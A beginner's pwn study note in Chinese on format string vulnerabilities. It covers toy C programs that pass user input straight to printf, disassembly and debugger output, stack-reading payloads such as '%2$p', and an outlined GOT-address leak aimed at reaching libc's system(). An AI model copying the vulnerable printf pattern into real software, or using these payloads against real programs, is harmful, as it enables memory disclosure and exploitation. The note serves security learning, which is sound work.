???---pwn String formatting vulnerability 01
一個pwn新手的筆記
1.1前景提要:
就是c/c++里面hello world吧
#include <stdio.h>
int main()
{
printf("Hello World!\n");
return 0;
}
其實這些函數(shù)都是可以利用的
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
大致原理:
根據(jù) cdecl 的調(diào)用約定,在進入 printf() 函數(shù)之前,將參數(shù)從右到左依次壓 棧。進入 printf() 之后,函數(shù)首先獲取第一個參數(shù),一次讀取一個字符。如果 字符不是 % ,字符直接復(fù)制到輸出中。否則,讀取下一個非空字符,獲取相應(yīng)的 參數(shù)并解析輸出。
1.2 各種而樣的Hello World
- 組合型
#include <stdio.h>
int main()
{
char *format = "%s";
char *arg1 = "Hello World\n";
printf(format,arg1);
return 0;
}
那么這里的printf就有arg1這一個參數(shù)
- 過多型
#include <stdio.h>
int main()
{
char *format = "%s-%p-%p-%p-%p-%p-%p-%p-%p";
char *arg1 = "Hello World\n";
printf(format,arg1);
return 0;
}
結(jié)果:
Hello World
-0x4005ff-(nil)-0x4005d0-0x7fddb8c10ac0-0x4005e4-0x4005ff-0x400560-0x7fddb8850830
輸出了多余的信息,說明了這里是存在漏洞的
格式化字符串函數(shù)會根據(jù)格式字符串從棧上取值
2.字符串格式化的利用
2.1使進程崩潰:
2.1.1 核心轉(zhuǎn)儲
在 Linux 中,存取無效的指針會引起進程收到 SIGSEGV 信號,從而使程序非正常終止并產(chǎn)生核心轉(zhuǎn)儲
??核心轉(zhuǎn)儲:核心轉(zhuǎn)儲(core dump),在漢語中有時戲稱為吐核,是操作系統(tǒng)在進程收到某些信號而終止運行時,將此時進程地址空間的內(nèi)容以及有關(guān)進程狀態(tài)的其他信息寫出的一個磁盤文件。這種信息往往用于調(diào)試。
2.1.2 核心轉(zhuǎn)儲的原因
3.2演示示例:
#include <stdio.h>
int main()
{
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s",format);
printf(format,arg1,arg2,arg3,arg4);
return 0;
}
暫且把這個當作一道題吧
2.1.2 r2:
root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)# rabin2 -I example
arch x86
baddr 0x400000
binsz 6738
bintype elf
bits 64
canary true
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
[0x00400500]> pdf @main
; DATA XREF from entry0 @ 0x40051d
┌ 176: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_ach @ rbp-0xac
│ ; var int64_t var_a8h @ rbp-0xa8
│ ; var int64_t var_a4h @ rbp-0xa4
│ ; var char *var_a0h @ rbp-0xa0
│ ; var int64_t var_98h @ rbp-0x98
│ ; var char *format @ rbp-0x90
│ ; var int64_t canary @ rbp-0x8
│ 0x004005f6 55 push rbp
│ 0x004005f7 4889e5 mov rbp, rsp
│ 0x004005fa 4881ecb00000. sub rsp, 0xb0
│ 0x00400601 64488b042528. mov rax, qword fs:[0x28]
│ 0x0040060a 488945f8 mov qword [canary], rax
│ 0x0040060e 31c0 xor eax, eax
│ 0x00400610 c78554ffffff. mov dword [var_ach], 1
│ 0x0040061a c78558ffffff. mov dword [var_a8h], 0x88888888
│ 0x00400624 c7855cffffff. mov dword [var_a4h], 0xffffffff ; -1
│ 0x0040062e 48c78560ffff. mov qword [var_a0h], 0x44434241 ; 'ABCD'
│ 0x00400639 66c78568ffff. mov word [var_98h], 0
│ 0x00400642 488d8570ffff. lea rax, [format]
│ 0x00400649 4889c6 mov rsi, rax
│ 0x0040064c bf34074000 mov edi, 0x400734 ; const char *format
│ 0x00400651 b800000000 mov eax, 0
│ 0x00400656 e885feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x0040065b 488dbd60ffff. lea rdi, [var_a0h]
│ 0x00400662 8b8d5cffffff mov ecx, dword [var_a4h]
│ 0x00400668 8b9558ffffff mov edx, dword [var_a8h]
│ 0x0040066e 8bb554ffffff mov esi, dword [var_ach]
│ 0x00400674 488d8570ffff. lea rax, [format]
│ 0x0040067b 4989f8 mov r8, rdi
│ 0x0040067e 4889c7 mov rdi, rax ; const char *format
│ 0x00400681 b800000000 mov eax, 0
│ 0x00400686 e835feffff call sym.imp.printf ; int printf(const char *format)
│ 0x0040068b b800000000 mov eax, 0
│ 0x00400690 488b55f8 mov rdx, qword [canary]
│ 0x00400694 644833142528. xor rdx, qword fs:[0x28]
│ ┌─< 0x0040069d 7405 je 0x4006a4
│ │ 0x0040069f e80cfeffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from main @ 0x40069d
│ └─> 0x004006a4 c9 leave
└ 0x004006a5 c3 ret
2.1.3 gdb
Starting program: /mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)/example
[----------------------------------registers-----------------------------------]
RAX: 0x4005f6 --> 0xb0ec8148e5894855
RBX: 0x0
RCX: 0x0
RDX: 0x7ffffffee5e8 --> 0x7ffffffee845 ("SHELL=/bin/bash")
RSI: 0x7ffffffee5d8 --> 0x7ffffffee7f7 ("/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)/example")
RDI: 0x1
RBP: 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
RSP: 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
RIP: 0x4005fa --> 0x64000000b0ec8148
R8 : 0x400720 --> 0x8ec83480000c3f3
R9 : 0x7fffff410ac0 (<_dl_fini>: push rbp)
R10: 0x846
R11: 0x7fffff050740 (<__libc_start_main>: push r14)
R12: 0x400500 --> 0x89485ed18949ed31
R13: 0x7ffffffee5d0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005f1 <frame_dummy+33>: jmp 0x400570 <register_tm_clones>
0x4005f6 <main>: push rbp
0x4005f7 <main+1>: mov rbp,rsp
=> 0x4005fa <main+4>: sub rsp,0xb0
0x400601 <main+11>: mov rax,QWORD PTR fs:0x28
0x40060a <main+20>: mov QWORD PTR [rbp-0x8],rax
0x40060e <main+24>: xor eax,eax
0x400610 <main+26>: mov DWORD PTR [rbp-0xac],0x1
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
0008| 0x7ffffffee4f8 --> 0x7fffff050830 (<__libc_start_main+240>: mov edi,eax)
0016| 0x7ffffffee500 --> 0x1
0024| 0x7ffffffee508 --> 0x7ffffffee5d8 --> 0x7ffffffee7f7 ("/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞
/01-基礎(chǔ)/example")
0032| 0x7ffffffee510 --> 0x1ff625ca0
0040| 0x7ffffffee518 --> 0x4005f6 --> 0xb0ec8148e5894855
0048| 0x7ffffffee520 --> 0x0
0056| 0x7ffffffee528 --> 0x8732ec1a2c49afff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x00000000004005fa in main ()
gdb-peda$ c
Continuing.
%08x.%08x.%08x.%08x.%08x
00000001.88888888.ffffffff.fffee450.ff7d0700[Inferior 1 (process 166) exited normally]
Warning: not running
總之就是類型標志符的問題,但是這里是依次獲得參數(shù),
??要獲得指定參數(shù)可以用以下方法:
%<arg#>$<format>
獲取第三個參數(shù)就是
%2$p
這個也可以直接輸入:
root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)# ./example
%2$p
0x88888888
而且可以獲取周圍棧的情況:
root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)# ./example
%5$x
78150700
2.2查看任意地址內(nèi)存:
也就是做題經(jīng)常用的AAAA-%p-%p-%p-%p-%p-%p-%p...
經(jīng)常的用法是: 把一個函數(shù)的got地址傳入,在獲得該地址對應(yīng)函數(shù)的虛擬地址,再根據(jù)函數(shù)在libc中的相對位置調(diào)用libc的其他函數(shù)(如system())
大致如下:
輸入: "小端地址" + "%p(地址類型)"*(重復(fù)次數(shù))
"\x10\xa0\x04\x08"+".%p"*20
注意一點就是,如果遇上了ASCII上面的不可見字符則不能被查看
- 大致就是這些了吧